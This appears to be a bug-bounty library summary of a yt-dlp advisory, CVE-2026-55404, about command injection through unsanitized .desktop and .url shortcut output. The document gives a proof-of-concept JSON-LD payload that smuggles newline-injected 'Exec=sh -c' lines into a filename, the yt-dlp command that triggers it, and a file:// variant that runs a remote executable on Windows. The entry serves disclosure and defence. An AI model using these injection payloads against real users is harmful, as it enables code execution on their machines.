# yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output

yt-dlp's --write-link/--write-desktop-link wrote unsanitized webpage_url and filename metadata into .url/.desktop shortcuts, enabling file:// URI and shell command injection on open.

- Payout: Research
- Severity: high
- Program: yt-dlp
- Found by: gamer191
- Disclosed: 2026-07-24
- CVE: CVE-2026-55404
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6v4j-43gg-vj32
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6v4j-43gg-vj32
- Tags: area:os domain:desktop impact:rce kind:research platform:ghsa sev:high tech:linux tech:windows technique:source-review vuln:command-injection

**Target:** yt-dlp CLI shortcut output (.url / .desktop files)
**Root cause:** webpage_url was written to .url shortcuts without scheme validation, and filename was written to .desktop entries without newline escaping when --no-windows-filenames disabled sanitization, allowing injected keys/groups.
**Steps:**
1. Serve a page with JSON-LD VideoObject whose name contains newlines: `Stream\nType=Application\nExec=sh -c "touch /tmp/pwned"\n\n[newgroup]\nName=endtitle`
2. Run `yt-dlp --write-desktop-link --no-windows-filenames "https://example.org/123"`
3. Resulting .desktop file has Type=Application and Exec=sh -c "touch /tmp/pwned" injected
4. User executes the .desktop file, running the shell command
5. For Windows: craft webpage_url as `file://example.org/pwned.exe` and use --write-url-link; double-click executes remote binary
**How found:** Noticed the .desktop template interpolates filename and url directly, and that --no-windows-filenames (changed in 2024.12.23) disables newline sanitization; also observed webpage_url is validated on input but not on shortcut output.
**Exploitation:** Attacker controls metadata served to yt-dlp; when victim generates and later opens the shortcut file, injected Exec runs a shell command (Linux) or a remote executable is fetched and run (Windows file:// URI).
**Insight:** When a tool emits config/format files (desktop entries, .url, ini) from remote metadata, check whether the format's own key/group syntax can be injected via newlines, and whether input-side validation is skipped on output paths.

## Proof of concept (copied exactly from the original report)

**Malicious JSON-LD payload injecting desktop entry**

```
<html>
<script type="application/ld+json">{
    "@context": "https://schema.org",
    "@type": "VideoObject",
    "name":"Stream\nType=Application\nExec=sh -c &quot;touch /tmp/pwned&quot;\n\n[newgroup]\nName=endtitle",
    "contentUrl": "https://example.org/video.mp4"
}</script>
</html>
```

**yt-dlp command triggering the exploit**

```
yt-dlp --write-desktop-link --no-windows-filenames "https://example.org/123"
```

